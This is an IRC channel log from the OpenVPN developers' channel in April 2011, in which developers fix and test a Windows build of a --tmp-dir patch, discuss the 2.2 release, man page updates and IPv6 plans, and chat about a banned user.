#openvpn-devel 13:59 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 13:59 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 15:08 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 17:51 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 22:54 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 23:58 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] --- Day changed Sun Apr 03 2011 00:02 -!- jamesyonan_ [~jamesyona@208.43.3.119] has joined #openvpn-devel 00:02 -!- mode/#openvpn-devel [+o jamesyonan_] by ChanServ 00:05 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Ping timeout: 276 seconds] 00:06 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 00:06 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 00:09 -!- jamesyonan_ [~jamesyona@208.43.3.119] has quit [Ping timeout: 276 seconds] 00:32 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 01:41 -!- psha [~psha@213.208.162.69] has quit [Read error: Connection reset by peer] 04:34 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has quit [Ping timeout: 246 seconds] 04:52 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 10:03 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has quit [Read error: Operation timed out] 10:30 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 10:31 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has joined #openvpn-devel 11:01 -!- Guest_IRC [~O.M.G@14.207.120.89] has joined #openvpn-devel 11:01 < Guest_IRC> hello 11:04 < Guest_IRC> !help 11:04 <@vpnHelper> (help [<plugin>] [<command>]) -- This command gives a useful description of what <command> does. <plugin> is only necessary if the command is in more than one plugin. 11:05 < Guest_IRC> who r stay here 11:05 < Guest_IRC> !help vpn 11:05 <@vpnHelper> Error: There is no command "vpn". 11:05 < Guest_IRC> !help mirc 11:05 <@vpnHelper> Error: There is no command "mirc". 11:05 < Guest_IRC> !help config 11:05 <@vpnHelper> (config <name> [<value>]) -- If <value> is given, sets the value of <name> to <value>. Otherwise, returns the current value of <name>. You may omit the leading "supybot." in the name if you so choose. 11:09 < Guest_IRC> who r stay here 11:10 -!- Guest_IRC [~O.M.G@14.207.120.89] has quit [] 12:09 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has quit [Ping timeout: 250 seconds] 13:11 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has joined #openvpn-devel 13:43 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 13:43 -!- mode/#openvpn-devel [+o mattock] by ChanServ 14:37 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 14:37 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 14:49 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 15:14 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 252 seconds] 15:40 -!- andj is now known as andj_afk 16:51 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 16:51 -!- mode/#openvpn-devel [+v krzee] by ChanServ 18:35 -!- Netsplit *.net <-> *.split quits: +krzee, +krzie, waldner 18:36 -!- Netsplit over, joins: krzee 18:36 -!- mode/#openvpn-devel [+v krzee] by ChanServ 18:39 -!- 14WAA1NND [nobody@hemp.ircpimps.org] has joined #openvpn-devel 18:40 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has joined #openvpn-devel 18:40 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has quit [Changing host] 18:40 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 18:52 -!- kisom [~x@c-74dce155.648-1-64736c11.cust.bredbandsbolaget.se] has quit [Ping timeout: 250 seconds] 18:52 -!- kisom [~x@c-74dce155.648-1-64736c11.cust.bredbandsbolaget.se] has joined #openvpn-devel 19:04 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 250 seconds] 19:05 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 19:05 -!- mode/#openvpn-devel [+v krzee] by ChanServ 20:02 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Ping timeout: 252 seconds] 20:04 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 21:55 -!- Netsplit *.net <-> *.split quits: Essobi 22:01 -!- Netsplit *.net <-> *.split quits: @jamesyonan 22:01 -!- Netsplit over, joins: @jamesyonan 22:01 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has joined #openvpn-devel 22:02 -!- agi [~agi@manson.entorno-digital.com] has quit [Ping timeout: 248 seconds] 22:07 -!- agi [~agi@manson.entorno-digital.com] has joined #openvpn-devel --- Log closed Sun Apr 03 22:29:29 2011 --- Log opened Sun Apr 03 22:29:51 2011 22:29 -!- ecrist_ [~ecrist@216.17.68.153] has joined #openvpn-devel 22:29 -!- Irssi: #openvpn-devel: Total of 19 nicks [4 ops, 0 halfops, 2 voices, 13 normal] 22:30 -!- Irssi: Join to #openvpn-devel was synced in 44 secs 22:32 -!- ecrist [~ecrist@openvpn/community/support/ecrist] has quit [Ping timeout: 246 seconds] 23:09 -!- Netsplit *.net <-> *.split quits: @jamesyonan 23:44 -!- 14WAA1NND [nobody@hemp.ircpimps.org] has quit [Quit: Leaving] --- Day changed Mon Apr 04 2011 00:30 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 00:41 -!- andj_afk is now known as andj 01:00 -!- andj is now known as andj_afk 01:33 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 01:34 -!- mode/#openvpn-devel [+v krzie] by ChanServ 01:43 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:43 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:38 -!- dazo_afk is now known as dazo 03:20 -!- cyberroa1ie [~cyberroad@184-106-222-37.static.cloud-ips.com] has joined #openvpn-devel 03:23 -!- Netsplit *.net <-> *.split quits: @mattock, cyberroadie, @vpnHelper 03:23 -!- Netsplit over, joins: @mattock 04:04 -!- waldner_ [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has joined #openvpn-devel 04:04 -!- waldner_ [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has quit [Changing host] 04:04 -!- waldner_ [~waldner@unaffiliated/waldner] has joined #openvpn-devel 04:07 -!- EvilJStoker_ [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 04:12 -!- Netsplit *.net <-> *.split quits: waldner, EvilJStoker 04:12 -!- EvilJStoker_ is now known as EvilJStoker 04:20 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 04:40 -!- Netsplit *.net <-> *.split quits: @d303k, patel, chantra_1fk, cron2_ 04:44 -!- d303k [~heiko@vpn.astaro.de] has joined #openvpn-devel 04:44 -!- mode/#openvpn-devel [+o d303k] by ChanServ 04:45 -!- patel [~patel@adsl-71-140-186-190.dsl.pltn13.pacbell.net] has joined #openvpn-devel 04:45 -!- cron2_ [~gert@kirk.greenie.muc.de] has joined #openvpn-devel 04:45 -!- chantra_1fk [~chantra@ns38827.ovh.net] has joined #openvpn-devel 04:52 -!- janjust [~janjust@ardeche.nikhef.nl] has joined #openvpn-devel 04:52 -!- janjust [~janjust@ardeche.nikhef.nl] has quit [Changing host] 04:52 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 04:52 -!- mode/#openvpn-devel [+v janjust] by ChanServ 05:00 <@dazo> mattock: ping ... have you had time to play with my patch? 05:00 * dazo is just curious 05:20 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Read error: Operation timed out] 05:20 -!- d303k [~heiko@vpn.astaro.de] has quit [Read error: Operation timed out] 05:20 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Ping timeout: 240 seconds] 05:20 -!- janjust [~janjust@ardeche.nikhef.nl] has joined #openvpn-devel 05:20 -!- janjust [~janjust@ardeche.nikhef.nl] has quit [Changing host] 05:20 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 05:20 -!- mode/#openvpn-devel [+v janjust] by ChanServ 05:21 -!- d303k [~heiko@vpn.astaro.de] has joined #openvpn-devel 05:21 -!- mode/#openvpn-devel [+o d303k] by ChanServ 05:30 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 05:30 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 05:30 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Ping timeout: 240 seconds] 05:30 -!- janjust [~janjust@ardeche.nikhef.nl] has joined #openvpn-devel 05:30 -!- janjust [~janjust@ardeche.nikhef.nl] has quit [Changing host] 05:30 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 05:30 -!- mode/#openvpn-devel [+v janjust] by ChanServ 05:35 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Client Quit] 05:35 -!- janjust [~janjust@ardeche.nikhef.nl] has joined #openvpn-devel 05:35 -!- janjust [~janjust@ardeche.nikhef.nl] has quit [Changing host] 05:35 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 05:35 -!- mode/#openvpn-devel [+v janjust] by ChanServ 06:13 -!- cyberroa1ie [~cyberroad@184-106-222-37.static.cloud-ips.com] has quit [Ping timeout: 246 seconds] 06:13 -!- cyberroadie [~cyberroad@184-106-222-37.static.cloud-ips.com] has joined #openvpn-devel 06:19 -!- waldner_ is now known as waldner 06:55 <@mattock> dazo: did you send me your --tmp-dir patch via email? 07:00 <@dazo> didn't I? 07:00 * dazo rechecks 07:00 <@dazo> mattock: I did ... Subject: "Patch for default --tmp-dir" 07:01 <@mattock> ok, perhaps my delete hand was too fast 07:01 <@dazo> April 1st 16:15 UTC 07:01 <@mattock> found it 07:02 <@mattock> I'll do the tests now 07:12 <@dazo> thx! 07:31 <@mattock> building... 07:32 * dazo wonders if anything breaks :) 07:35 <@mattock> unfortunately yes... it gives this error when building openvpn: 07:35 <@mattock> win32.c(1105) : error C2106: '=' : left operand must be l-value 07:35 -!- You're now known as ecrist 07:36 <@mattock> and before that it says win32.c(1105) : warning C4047: '=' : 'int' differs in levels of indirection from 'char #' 07:36 <@mattock> and then a bunch of C4129 errors 07:36 <@mattock> sorry, warnings 07:36 <@dazo> mattock: can you pastebin them? 07:36 * dazo will fix them asap 07:36 <@mattock> yep 07:37 <@dazo> I presume this was in win32.c 07:40 <@mattock> yep 07:40 <@mattock> http://pastebin.com/4FkgNarW 07:42 * dazo looks 07:44 <@dazo> mattock: try applying this patch on top of what you have ... http://pastebin.com/3Kt3knqd 07:44 <@dazo> it's a simply typo 07:47 <@dazo> not sure if that will solve the last 4 issues ... as I don't really understand those warnings 07:48 <@dazo> ahh! 07:48 <@dazo> I think I do now 07:49 <@dazo> mattock: new patches to go on top of what I sent you ... http://pastebin.com/fQ5BQeWf 08:17 -!- Netsplit *.net <-> *.split quits: +janjust 08:24 -!- janjust [~janjust@ardeche.nikhef.nl] has joined #openvpn-devel 08:24 -!- janjust [~janjust@ardeche.nikhef.nl] has quit [Changing host] 08:24 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 08:24 -!- mode/#openvpn-devel [+v janjust] by ChanServ 09:07 -!- Netsplit *.net <-> *.split quits: @d303k, waldner 09:07 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 09:07 -!- Netsplit over, joins: @d303k, waldner 09:18 <@mattock> dazo: testing 09:18 <@dazo> thx again! :) 09:18 * dazo heads out for lunch/dinner 09:18 <@mattock> dazo: just a sec 09:18 * dazo waits a sec :) 09:18 <@mattock> FQ5B does not exist 09:19 <@mattock> a.k.a. "Unknown paste ID" 09:19 <@dazo> gah 09:19 <@mattock> one hour expiration? 09:19 * dazo repastes 09:19 <@dazo> probably, I thought I did 1 day 09:20 -!- Netsplit *.net <-> *.split quits: psha, @d303k, waldner 09:20 <@dazo> mattock: http://pastebin.com/c74Mb26A 09:20 -!- Netsplit over, joins: psha, @d303k, waldner 09:20 <@mattock> that works, I'll test it 09:20 <@dazo> thx again :) 09:21 * ecrist waves 09:21 < ecrist> sup d00ds? 09:22 -!- psha [~psha@213.208.162.69] has quit [Quit: Reconnecting] 09:22 -!- psha_ [~psha@213.208.162.69] has joined #openvpn-devel 09:22 -!- psha_ [~psha@213.208.162.69] has quit [Client Quit] 09:22 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 09:24 <@mattock> dazo: build successful 09:40 <@mattock> dazo: tmp_dir = 'C:\DOCUME~1\samuli\LOCALS~1\Temp 09:40 <@mattock> which seems correct 09:40 <@mattock> on WinXP 09:45 < psha> mattock: build instructions: first, add user 'samuli' :) 09:46 <@mattock> psha: lol! 09:46 <@mattock> :P 09:49 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 09:49 -!- mode/#openvpn-devel [+v krzie] by ChanServ 09:53 <@mattock> dazo: so this --default-tmp-dir thingy is related to --client-cert-not-required ticket (#108)? 09:55 <@mattock> I created an installer which can be used to test this: http://build.openvpn.net/openvpn-2.2-RC2-with-tmp-dir-patch-install.exe 09:55 <+janjust> mattock: yes they are related; when the 'client-cert-not-required' bug was fixed the --tmp-dir thing popped up in my/our testse 09:55 <@mattock> janjust: oh yes, it's coming back to me now 09:57 <+janjust> I'll test your installer later this week, mattock 09:57 <@mattock> ok 09:57 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 10:31 -!- andj_afk is now known as andj 10:48 -!- psha [~psha@213.208.162.69] has quit [Read error: Connection reset by peer] 10:48 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 10:57 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 11:26 <@dazo> it's actually not directly related to --client-cert-not-req ... but that feature triggered this issue easier ... it's directly related to the hardening create_temp_filename() patches which got implemented quite some time ago 11:27 <@dazo> however, this issue was even an issue before those patches as well ... just that the hardening patches made it more visible again 11:40 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Quit: Ctrl-C at console.] 11:40 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 11:40 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 11:43 <@dazo> grrrrr ... search in forum is useless ... searching for "--tmp-dir", and it tells me: "The following words in your search query were ignored because they are too common words: dir." 11:43 <@dazo> silly forum, I'm searching for --tmp-dir! 11:53 <+krzee> hehe 11:53 <+krzee> use google to search the forum 11:53 <+krzee> site:forums.openvpn.net --tmp-dir 11:53 <+krzee> =] 11:54 <+krzee> ecrist got google crawling the site awhile ago iirc 11:55 <+krzee> http://www.google.com/search?q=site%3Aforums.openvpn.net+%22--tmp-dir%22 11:55 <@vpnHelper> Title: site:forums.openvpn.net "--tmp-dir" - Google Search (at www.google.com) 11:58 <@dazo> yeah, I thought of that after my little rant :) 11:58 <+krzee> i do agree tho 11:58 <+krzee> i only knew the solution because i have had the problem ;] 11:58 <@dazo> I'm thankful the forum is indexed by google, though ;-) 12:00 <+krzee> as am i 13:04 <@vpnHelper> RSS Update - tickets: #111: PKCS12 key password change causes crash in windows <https://community.openvpn.net/openvpn/ticket/111> 13:37 <+krzee> best way to get rid of an elite troll who you know: 13:37 <+krzee> point out that trolling #openvpn is boring, that nobody cares... and then point out a few channels that would be more fun 13:37 <+krzee> lol 14:01 <@dazo> lol 14:26 < ecrist> dazo: working on better forum software, gimme time, sheesh 14:27 <+krzee> heh 14:27 <@dazo> ecrist: :) You've bragged about that for over a week! how long can it take!??!?! :-P 14:27 < ecrist> which troll, krzee? 14:27 < ecrist> dazo: hrm, write ldap support module from ground-up, while still integrating full functionality of forum... 14:28 <+krzee> nigr0, but i know him and very much wanted to not feed him or ban him... he really is elite 14:28 <+krzee> just waned him to decide it would be more lulz somewhere else 14:28 <+krzee> hehe 14:28 < ecrist> krzee: that guy you banned last night has been rather persistent with me. 14:28 * ecrist wonders how he knew to bother me... 14:29 <+krzee> haha 14:29 <+krzee> that guy was funny 14:29 <+krzee> he was bridging 2 vm's that are ALREADY on his lan 14:29 <+krzee> "hey guy, wtf are you using a vpn for!?" 14:30 <+krzee> and by telling him he doesnt need a vpn for that, *i* evidently dont read enough manuals 14:32 < ecrist> fwiw, he's asking to be unbanned, I've told him it's up to you. 14:34 <+krzee> but ya, nigr0 actually wrote a ati compiler to replace brook because the brook compiler made his gpu code run slower 14:34 <+krzee> elite 14:35 <+krzee> fine by me, but he really has no reason to be in #openvpn, it isnt what he needs 14:35 <+krzee> im pretty sure when he comes back in he'll just keep wasting peoples time 14:36 <+krzee> he needs to learn general networking, you dont use openvpn to bridge 2 nodes that are already on the same broadcast domain 14:36 <+krzee> and if they arent on the same broadcast domain, the VM host is, so he needs to put them in the same broadcast domain, still not a job for openvpn 14:37 <+krzee> his real question seems to be "can someone help me take down my network by creating a broadcast loop?" 14:38 <+krzee> and even if something stopped it from looping... still not a job for openvpn 14:38 <+krzee> someone correct me if im wrong 14:43 < ecrist> unless there's data he wants to protect between those machines and he's using openvpn to do it 14:48 <@dazo> *bridging* two nodes on the same lan with openvpn ... well ... good luck with that one ... yes, you can use OpenVPN to encrypt communication on the same lan, but I wouldn't try to bridging it in addition 14:49 * dazo heads home 14:49 < ecrist> well, bridging is a bit of a misnomer, as I use tap to setup VPNs between hosts on the same broadcast domain, though they get IPs from different subnets 14:49 <+krzee> he doesnt want to secure anything 14:49 < ecrist> than the original broadcast. 14:50 <+krzee> he simply wants them to communicate with layer2 14:50 < ecrist> krzee: in that case, he's a retard. 14:50 <+krzee> but he cant figure out how to get them on the same broadcast domain because they are VMs 14:50 <+krzee> yes, he is 14:50 <+krzee> thats the thesis of my conversation with him 14:50 < ecrist> AHHHH, I understand 14:50 <+krzee> it started as me trying to explain that and help him understand how to achieve his goal 14:50 < ecrist> he needs to RTFM for ESX or vmware or something. 14:51 <+krzee> then he starts telling me i dunno stuff and i need to read more manuals 14:51 <+krzee> etc 14:51 -!- dazo is now known as dazo_afk 14:51 < ecrist> yeah, I read the tail-end of the convo 14:52 <+krzee> before that i thought one of the machines was moving to remote location, so he would have wanted a routed tap (like you just mentioned) 14:52 <+krzee> but they will remain on the same switch, he just needs to consult support ( / docs) for his VM software 14:53 <+krzee> but openvpn is not the right solution for him 14:53 <+krzee> maybe you can help him understand that *shrug* 14:53 <+krzee> either way, i dont mind if he's unbanned 15:02 < ecrist> feel free to unban him, them. 15:16 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 260 seconds] 15:47 -!- andj is now known as andj_afk 15:59 -!- Netsplit *.net <-> *.split quits: @d303k, waldner 16:00 -!- Netsplit *.net <-> *.split quits: +krzie, chantra_1fk, cron2_, patel, +krzee 16:02 -!- Netsplit over, joins: +krzie, waldner, @d303k, chantra_1fk, cron2_, patel, +krzee 17:21 -!- jamesyonan [~jamesyona@c-98-245-80-250.hsd1.co.comcast.net] has joined #openvpn-devel 17:21 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 19:19 -!- jamesyonan [~jamesyona@c-98-245-80-250.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 21:29 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 21:29 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 22:23 -!- Dark-Fx [~bamcpher@dark-fx.com] has quit [Ping timeout: 248 seconds] 22:34 -!- Dark-Fx [~bamcpher@2607:f4b8:7::1] has joined #openvpn-devel --- Day changed Tue Apr 05 2011 00:39 -!- andj_afk is now known as andj 00:57 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:57 -!- mode/#openvpn-devel [+o mattock] by ChanServ 00:58 -!- andj is now known as andj_afk 01:00 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 01:22 -!- d303k [~heiko@vpn.astaro.de] has quit [Read error: Operation timed out] 01:25 -!- d303k [~heiko@port-92-198-130-130.static.qsc.de] has joined #openvpn-devel 01:25 -!- mode/#openvpn-devel [+o d303k] by ChanServ --- Log closed Tue Apr 05 02:47:04 2011 --- Log opened Tue Apr 05 02:48:18 2011 02:48 -!- ecrist [~ecrist@216.17.68.153] has joined #openvpn-devel 02:48 -!- Irssi: #openvpn-devel: Total of 20 nicks [5 ops, 0 halfops, 2 voices, 13 normal] 02:48 -!- mode/#openvpn-devel [+v ecrist] by ChanServ 02:48 -!- Irssi: Join to #openvpn-devel was synced in 39 secs 03:31 -!- s7r [~s7r@unaffiliated/s7r] has left #openvpn-devel [] 03:37 -!- Netsplit *.net <-> *.split quits: waldner 03:44 -!- Netsplit over, joins: waldner 03:57 -!- Netsplit *.net <-> *.split quits: Dark-Fx 04:00 -!- Dark-Fx [~bamcpher@2607:f4b8:7::1] has joined #openvpn-devel 04:52 -!- janjust [~janjust@ardeche.nikhef.nl] has joined #openvpn-devel 04:52 -!- janjust [~janjust@ardeche.nikhef.nl] has quit [Changing host] 04:52 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 04:52 -!- mode/#openvpn-devel [+v janjust] by ChanServ 05:36 -!- dazo_h [~dazo@2001:470:9d83:351:21c:25ff:fe14:7a73] has joined #openvpn-devel 05:37 -!- dazo_h [~dazo@2001:470:9d83:351:21c:25ff:fe14:7a73] has quit [Changing host] 05:37 -!- dazo_h [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 05:37 -!- mode/#openvpn-devel [+o dazo_h] by ChanServ 05:37 -!- dazo_h is now known as dazo 05:41 <+janjust> yo dazo, I didn't know you were on IPv6 05:41 <@dazo> heh :) I am, from home :) 05:41 <+janjust> ah cool 05:42 <@dazo> it's just a HE tunnel, so it's a part of the learning process for me :) 05:42 <+janjust> dazo, did you see Jason Haar's question regarding --push-peer-info (I just replied to the openvpn-users list) 05:42 <@dazo> I did ... and I have no idea how --push-peer-info works 05:42 <+janjust> hehe it doesn't - it looks like the server-side of things is missing 05:42 <@dazo> perfect! :) 05:44 <@dazo> I've been thinking if we would need a patch to openvpn 2.2 which just ignores --register-dns on non-windows, to at least avoid making these client choke if it gets pushed 05:44 <+janjust> in that case I think we need to re-think how options are supported/not supported across different platforms 05:44 <@dazo> yeah 05:45 <+janjust> e.g. do something like "this option is win32 specific ; ignoring" 05:45 <@dazo> yeah ... of course it could "complain" about it in the log file if loglevel was set high enough ... but yeah 05:46 <@dazo> btw ... have you had any chance to test out the --tmp-dir patch? 05:46 <@dazo> (no stress, just wondering) 05:46 <+janjust> not yet 05:47 <@dazo> no worries :) I'll be offline most of today and will be travelling tomorrow, so I won't ask for a couple of days again :) 05:48 <@dazo> It would be good if we could have it tested before the meeting on Thursday though ... this is probably the last outstanding fix before we're releasing the final 2.2 05:48 <+janjust> ah cool! finally! 05:48 <@dazo> yeah := 05:48 <@dazo> :) 05:49 <@dazo> I see that the response to my "man page needs update" mail had a big success too .... :-P 05:49 <@dazo> (not blaming anyone :)) 05:50 <+janjust> hehe, people subscribed to the opevpn MLs tend to be consumers, not producers 05:50 <@dazo> yeah ... well, I'm willing to release 2.2 with only the one proposal from mattock ... and if people complain, we can always point at this mail thread 05:52 * dazo regrets not demanding a man page entry when including the --x509-username-field patch though 05:52 <+janjust> good plan ; the problem for the developers is, of course, that writing a man page update (or any kind of documentation) is simply not sexy 05:52 <@dazo> yeah 05:53 <@dazo> and quite some developers lacks ability to write usable and understandable documentation for non-technical people 05:54 <+janjust> also very true 05:56 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 06:03 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 06:03 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 06:09 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 06:09 <@vpnHelper> RSS Update - testtrac: Add man page entry for --redirect-private <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=808ba6b9316ff7f5910e2d4516c1a6aac788354c> 06:21 -!- waldner [~waldner@unaffiliated/waldner] has quit [Read error: Operation timed out] 06:21 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has joined #openvpn-devel 06:21 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has quit [Changing host] 06:21 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 06:32 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Quit: Leaving] 07:36 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 08:31 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 08:48 -!- psha [~psha@213.208.162.69] has quit [Ping timeout: 246 seconds] 08:48 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 09:07 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 10:34 <+ecrist> IPv6 stuff is in 2.2, right? 10:35 <+krzee> afaik the windows tap device has ipv6 stuff, not sure if --server-ipv6 exists in RC yet tho 10:49 -!- andj_afk is now known as andj 11:41 -!- cyberroa1ie [~cyberroad@184.106.222.37] has joined #openvpn-devel 11:41 -!- cyberroadie [~cyberroad@184-106-222-37.static.cloud-ips.com] has quit [Ping timeout: 250 seconds] 11:42 -!- andj__ [~adriaan@5356AABF.cm-6-7c.dynamic.ziggo.nl] has joined #openvpn-devel 11:50 -!- Netsplit *.net <-> *.split quits: andj 11:50 -!- andj__ is now known as andj 12:29 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 12:30 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 14:08 < cron2_> ecrist: regarding IPv6: no change between 2.1 and 2.2 in OpenVPN. The groundwork is in the TAP driver in 2.2, so people that want to play with -current can do so with signed drivers at least 14:08 < cron2_> --server-ipv6 is not in 2.2, this is stuff that will go to 2.3 14:48 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 15:58 -!- andj is now known as andj_afk 16:04 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 246 seconds] 16:05 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 16:05 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 19:40 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has quit [Ping timeout: 248 seconds] 19:41 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has joined #openvpn-devel 20:14 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 20:14 -!- mode/#openvpn-devel [+v krzie] by ChanServ 20:16 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 276 seconds] 20:26 -!- krzii [krzee@hemp.ircpimps.org] has joined #openvpn-devel 20:27 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Disconnected by services] 20:29 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 20:29 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 20:33 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 20:52 -!- agi [~agi@manson.entorno-digital.com] has quit [Ping timeout: 248 seconds] 20:53 -!- agi [~agi@manson.entorno-digital.com] has joined #openvpn-devel 22:28 -!- krzii [krzee@hemp.ircpimps.org] has left #openvpn-devel ["Leaving"] 22:29 -!- krzee [krzee@hemp.ircpimps.org] has joined #openvpn-devel 22:29 -!- krzee [krzee@hemp.ircpimps.org] has quit [Changing host] 22:29 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 22:29 -!- mode/#openvpn-devel [+v krzee] by ChanServ 22:30 -!- krzee [krzee@openvpn/community/support/krzee] has left #openvpn-devel [] 22:30 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 22:30 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Wed Apr 06 2011 00:16 -!- cron2_ [~gert@kirk.greenie.muc.de] has quit [Ping timeout: 276 seconds] 00:16 -!- cron2 [~gert@kirk.greenie.muc.de] has joined #openvpn-devel 00:19 -!- andj_afk is now known as andj 00:34 -!- andj is now known as andj_afk 00:55 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 00:55 -!- mode/#openvpn-devel [+v krzie] by ChanServ 01:03 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 259 seconds] 01:03 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 01:06 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 01:06 -!- mode/#openvpn-devel [+v krzie] by ChanServ 02:08 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 03:14 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 03:25 -!- patelx [~patel@adsl-71-140-186-190.dsl.pltn13.pacbell.net] has joined #openvpn-devel 03:26 -!- patel [~patel@adsl-71-140-186-190.dsl.pltn13.pacbell.net] has quit [Ping timeout: 276 seconds] 03:29 -!- patelx [~patel@adsl-71-140-186-190.dsl.pltn13.pacbell.net] has quit [Ping 